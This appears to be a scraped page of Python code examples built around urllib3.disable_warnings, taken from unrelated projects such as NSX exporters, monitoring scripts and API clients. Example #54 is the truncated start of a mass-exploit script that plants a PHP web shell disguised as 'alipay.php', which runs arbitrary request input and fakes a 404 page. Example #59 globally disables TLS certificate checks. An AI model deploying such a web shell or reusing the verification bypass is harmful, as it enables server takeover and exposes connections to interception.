        # Bypass system groups for LB
        if 'NLB.PoolLB' in grp_id or 'NLB.VIP' in grp_id:
            pass
        elif group_list.results[i].tags:
            result = group_list.results[i].tags
            x = len(result)
            tag_list = []
            scope_list = []
            for i in range(0, x):
                tag_list.append(result[i].tag)
                scope_list.append(result[i].scope)
            sheet1.write(start_row, 1, ', '.join(tag_list), style_alignleft)
            sheet1.write(start_row, 2, ', '.join(scope_list), style_alignleft)

        # Bypass system groups for LB
        if 'NLB.PoolLB' in grp_id or 'NLB.VIP' in grp_id:
            pass
        else:
            # Create IP Address List for each group
            iplist = []
            ipsvc = IpAddresses(stub_config)
            iplist = ipsvc.list(domain_id, grp_id)
            iprc = iplist.result_count
            iplist1 = []
            for i in range(0, iprc):
                iplist1.append(iplist.results[i])
            sheet1.write(start_row, 3, ', '.join(iplist1), style_alignleft)

            # Create Virtual Machine List for each group
            vmlist = []
            vmsvc = VirtualMachines(stub_config)
            vmlist = vmsvc.list(domain_id, grp_id)
            vmrc = vmlist.result_count
            vmlist1 = []
            for i in range(0, vmrc):
                vmlist1.append(vmlist.results[i].display_name)
            sheet1.write(start_row, 4, ', '.join(vmlist1), style_alignleft)

            # Create Segment List for each group
            sgmntlist = []
            sgmntsvc = Segments(stub_config)
            sgmntlist = sgmntsvc.list(domain_id, grp_id)
            sgmntrc = sgmntlist.result_count
            sgmntlist1 = []
            for i in range(0, sgmntrc):
                sgmntlist1.append(sgmntlist.results[i].display_name)
            sheet1.write(start_row, 5, ', '.join(sgmntlist1), style_alignleft)

            # Create Segment Port/vNIC List for each group
            sgmntprtlist = []
            sgmntprtsvc = SegmentPorts(stub_config)
            sgmntprtlist = sgmntprtsvc.list(domain_id, grp_id)
            sgmntprtrc = sgmntprtlist.result_count
            sgmntprtlist1 = []
            for i in range(0, sgmntprtrc):
                sgmntprtlist1.append(sgmntprtlist.results[i].display_name)
            sheet1.write(start_row, 6, ', '.join(sgmntprtlist1),
                         style_alignleft)

        start_row += 1

    groups_wkbk.save('Groups.xls')
Example #51
0
def plugin_init(data):
    """ Initializes the OMF plugin for the sending of blocks of readings to the PI Connector.
    Args:
    Returns:
    Raises:
        PluginInitializeFailed
    """
    global _config
    global _config_omf_types
    global _logger
    global _recreate_omf_objects

    try:
        # note : _module_name is used as __name__ refers to the Sending Proces
        logger_name = _MODULE_NAME + "_" + str(data['stream_id']['value'])

        _logger = \
            logger.setup(logger_name, destination=_LOGGER_DESTINATION) if _log_debug_level == 0 else\
            logger.setup(logger_name, destination=_LOGGER_DESTINATION, level=logging.INFO if _log_debug_level == 1 else logging.DEBUG)

    except Exception as ex:
        _logger.error("{0} - ERROR - {1}".format(
            time.strftime("%Y-%m-%d %H:%M:%S:"),
            plugin_common.MESSAGES_LIST["e000012"].format(str(ex))))
        raise ex
    _logger.debug("{0} - ".format("plugin_info"))

    _validate_configuration(data)

    # Retrieves the configurations and apply the related conversions
    _config['_CONFIG_CATEGORY_NAME'] = data['_CONFIG_CATEGORY_NAME']
    _config['URL'] = data['URL']['value']
    _config['producerToken'] = data['producerToken']['value']
    _config['OMFMaxRetry'] = int(data['OMFMaxRetry']['value'])
    _config['OMFRetrySleepTime'] = int(data['OMFRetrySleepTime']['value'])
    _config['OMFHttpTimeout'] = int(data['OMFHttpTimeout']['value'])
    _config['StaticData'] = ast.literal_eval(data['StaticData']['value'])
    # TODO: compare instance fetching via inspect vs as param passing
    # import inspect
    # _config['sending_process_instance'] = inspect.currentframe().f_back.f_locals['self']
    _config['sending_process_instance'] = data['sending_process_instance']

    # _config_omf_types = json.loads(data['omf_types']['value'])
    _config_omf_types = _config[
        'sending_process_instance']._fetch_configuration(
            cat_name=_CONFIG_CATEGORY_OMF_TYPES_NAME,
            cat_desc=_CONFIG_CATEGORY_OMF_TYPES_DESCRIPTION,
            cat_config=CONFIG_DEFAULT_OMF_TYPES,
            cat_keep_original=True)

    _validate_configuration_omf_type(_config_omf_types)

    # Converts the value field from str to a dict
    for item in _config_omf_types:
        if _config_omf_types[item]['type'] == 'JSON':
            # The conversion from a dict to str changes the case and it should be fixed before the conversion
            value = _config_omf_types[item]['value'].replace("true", "True")
            new_value = ast.literal_eval(value)
            _config_omf_types[item]['value'] = new_value

    _logger.debug("{0} - URL {1}".format("plugin_init", _config['URL']))
    try:
        _recreate_omf_objects = True
    except Exception as ex:
        _logger.error(plugin_common.MESSAGES_LIST["e000011"].format(ex))
        raise plugin_exceptions.PluginInitializeFailed(ex)

    # Avoids the warning message - InsecureRequestWarning
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    return _config
Example #52
0
import requests
import urllib3
import json
from utils.excelUtils import ExcelUtils
from utils.logger import Log

urllib3.disable_warnings()  # 忽略ssl问题


class RequestsUtils(object):

    log = Log()

    def send_requests(self, s, testdata):
        """
            封装Requests请求
        :param s:
        :param testdata:
        :return:
        """
        is_run = testdata["run"]
        method = testdata["method"]
        url = testdata["url"]

        # url后面的params参数
        try:
            params = self.covert_params(testdata["params"], ";")
            self.log.info("请求参数: %s" % params)
        except:
            params = None
        # 请求头部headers
Example #53
0
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with jottafs.  If not, see <http://www.gnu.org/licenses/>.
#
# Copyright 2015 Håvard Gulldahl <*****@*****.**>

# metadata
__author__ = '*****@*****.**'
__version__ = '0.2.10a'

# import standardlib
import os, os.path, tempfile, time, math, logging, datetime, hashlib

import urllib3, certifi
urllib3.disable_warnings()  # TODO FIX THIS


def humanizeFileSize(size):
    size = abs(size)
    if (size == 0):
        return "0B"
    units = ['B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB']
    p = math.floor(math.log(size, 2) / 10)
    return "%.3f%s" % (size / math.pow(1024, p), units[int(p)])


def calculate_hash(fileobject, size=2**16):
    fileobject.seek(0, 2)
    size = fileobject.tell()
    fileobject.seek(0)
Example #54
0
import requests
import hashlib
import threadpool
import urllib3
import random

urllib3.disable_warnings()
header = {
    "Proxy-Connection": "keep-alive",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": "https://google.com",
    "Connection": "close",
}
proxy = {       # debug
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}


def wirte_targets(vurl, filename):
    with open(filename, "a+") as f:
        f.write(vurl + "\n")
        return vurl


def exp(url):
    shell_name = "alipay.php"
    shell_content = "<?php $a=create_function(NULL,$_REQUEST['a']);$a();echo '404 Not Found.';?>"
    shell_path = "base"
    try:
def worker(filepath):
    # initialize saucenao
    saucenao_core = SauceNao(
        directory='directory',
        databases=9,
        # 999 by default, 5 for pixiv, 9 for booru.
        minimum_similarity=65,
        combine_api_types=False,
        api_key=saucenao_api_key,
        exclude_categories='',
        move_to_categories=False,
        use_author_as_category=False,
        output_type=SauceNao.API_JSON_TYPE,
        start_file='',
        log_level=logging.ERROR,
        title_minimum_similarity=90)
    # search image on saucenao
    try:
        result = search(saucenao_core, filepath)
    except requests.exceptions.ConnectionError:
        print("Failed to connect saucenao!")
        return -1
    except saucenao.exceptions.DailyLimitReachedException:
        print("Saucenao daily limit reached! try 1 hour later!")
        return -2
    if (len(result) is 0):
        print('Image not found on danbooru!')
        return 1
    else:
        danbooru_id = result[0]['data']['danbooru_id']
        print('Image Found, ID=' + str(danbooru_id))
        # GET danbooru tag json
        try:
            http = urllib3.PoolManager()
            # disable  https cert check warning
            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
            url = 'https://danbooru.donmai.us/posts/' + str(
                danbooru_id) + '.json'
            headers = urllib3.util.make_headers(basic_auth=danbooru_login +
                                                ':' + danbooru_api_key)
            r = http.request('GET', url, headers=headers)
            r_data = r.data
            if isinstance(r_data, bytes):
                r_data = str(r_data, 'utf-8')
            tags = json.loads(r_data)['tag_string']
            taglist = tags.split()
        except requests.exceptions.ConnectionError:
            print('failed to GET tag data from danbooru')
            return -1
        # Write XMP Metadata to image
        xmpfile = XMPFiles(file_path=filepath, open_forupdate=True)
        xmp = xmpfile.get_xmp()
        # if image has no xmp data, create one
        if (xmp is None):
            xmp = XMPMeta()
        # write the tags
        for each in taglist:
            # check whether XMP includes 'subject' property,
            # if not, create a new one
            if (not xmp.does_property_exist(consts.XMP_NS_DC, 'subject')):
                xmp.append_array_item(consts.XMP_NS_DC, 'subject', each, {
                    'prop_array_is_ordered': True,
                    'prop_value_is_array': True
                })
            # check whether tag has been written to file
            if (not xmp.does_array_item_exist(consts.XMP_NS_DC, 'subject',
                                              each)):
                xmp.append_array_item(consts.XMP_NS_DC, 'subject', each)
        if (xmpfile.can_put_xmp(xmp)):
            xmpfile.put_xmp(xmp)
            xmpfile.close_file()
            return 0
        else:
            print('Unable to write XMP data!')
            return -1
def pure_disk_monitoring():
    try:
        '''Get the argument from Zabbix'''
        ip = str(sys.argv[2])  #IP of the Pure Storage Array
        token = str(sys.argv[3])  #API Token
        disk = str(sys.argv[4])  #disk Name
        host = str(sys.argv[5])  #Host name (for the sender)
        zabbixIP = str(
            sys.argv[6])  #Zabbix Proxy or Server IP (for the sender)
        '''
        Disable the SSL Warning from the output
        '''
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        '''Get data'''
        arrayConnect = purestorage.FlashArray(ip, api_token=token)
        diskMonitoring = arrayConnect.get_drive(drive=disk)
        '''Will disable the output to console'''
        FNULL = open(os.devnull, 'w')
        '''Sending data'''
        if "status" in diskMonitoring:
            diskStatus = str(diskMonitoring["status"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.disk.status[" + disk + "]", "-o", diskStatus
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "capacity" in diskMonitoring:
            diskCapacity = str(diskMonitoring["capacity"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.disk.capacity[" + disk + "]", "-o", diskCapacity
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "protocol" in diskMonitoring:
            diskProtocol = str(diskMonitoring["protocol"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.disk.protocol[" + disk + "]", "-o", diskProtocol
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "type" in diskMonitoring:
            diskType = str(diskMonitoring["type"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.disk.type[" + disk + "]", "-o", diskType
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "last_failure" in diskMonitoring:
            diskLastFailure = str(diskMonitoring["last_failure"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.disk.last.failure[" + disk + "]", "-o", diskLastFailure
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        '''Send 1 to give a result to Zabbix'''
        print(1)

    except:
        '''
        Sending 0 to Zabbix instead of a Python error.
        Like that the items won't be considered as "unsupported"
        '''
        print(0)
Example #57
0
               https://developer.cisco.com/docs/licenses

All use of the material herein must be in accordance with the terms of
the License. All rights not expressly granted by the License are
reserved. Unless required by applicable law or agreed to separately in
writing, software distributed under the License is distributed on an "AS
IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
or implied.
"""
import json
import sys
import urllib3
import requests
from utils.commons import *
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
urllib3.disable_warnings()
"""
* Class that handles EPNM handler for Northboud API call
"""


class epnm_nb_api:
    def __init__(self, url, epnm_ip, epnm_user, epnm_password):
        """
        * Constructor of the epnm_nb_api class

        :param url: url resource for expected task
        :param epnm_ip: epnm ip address
        :param epnm_user: epnm username
        :param epnm_password: epnm password
Example #58
0
LOG.setLevel(logging.DEBUG)  # Change the level of logging::
# You can modify the following code to change the location::
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
this_month = time.strftime('%Y%m', time.localtime())
filename = BASE_DIR + f'/utils/{this_month}.log'
formatter = logging.Formatter(
    "%(asctime)s %(filename)s[line:%(lineno)d]%(levelname)s - %(message)s"
)  # Define the log output format
fh = logging.FileHandler(filename=filename, encoding="utf-8")
fh.setFormatter(formatter)
console_handler = logging.StreamHandler(sys.stdout)
console_handler.formatter = formatter
LOG.addHandler(fh)
LOG.addHandler(console_handler)
LOG.setLevel(logging.INFO)
urllib3.disable_warnings()  # disabled requests' verify warning


# ========================================================================================== #
class BossHello(object):
    """
    这里就是和别人沟通进行处理聊天信息的,看到这里写了这么多就知道这里是比较多逻辑的,还要判断很多状态来智能化处理各个情况。
    """
    def __init__(self):
        self.base_url = 'https://www.zhipin.com'
        self.chat_url = self.base_url + '/chat/im?mu=chat'
        self.pic_url = 'https://m.zhipin.com/wapi/zpgeek/resume/attachment/preview4boss?id='
        self.local_class = self.__class__.__name__

        self.session = requests.Session()
        self.options = webdriver.ChromeOptions()
Example #59
0
def patch_all():
    disable_warnings()
    logging.getLogger("urllib3").setLevel(logging.CRITICAL)
    ssl._create_default_https_context = ssl._create_unverified_context
    Session.request = session_request
Example #60
0
 def setUp(self):
     urllib3.disable_warnings()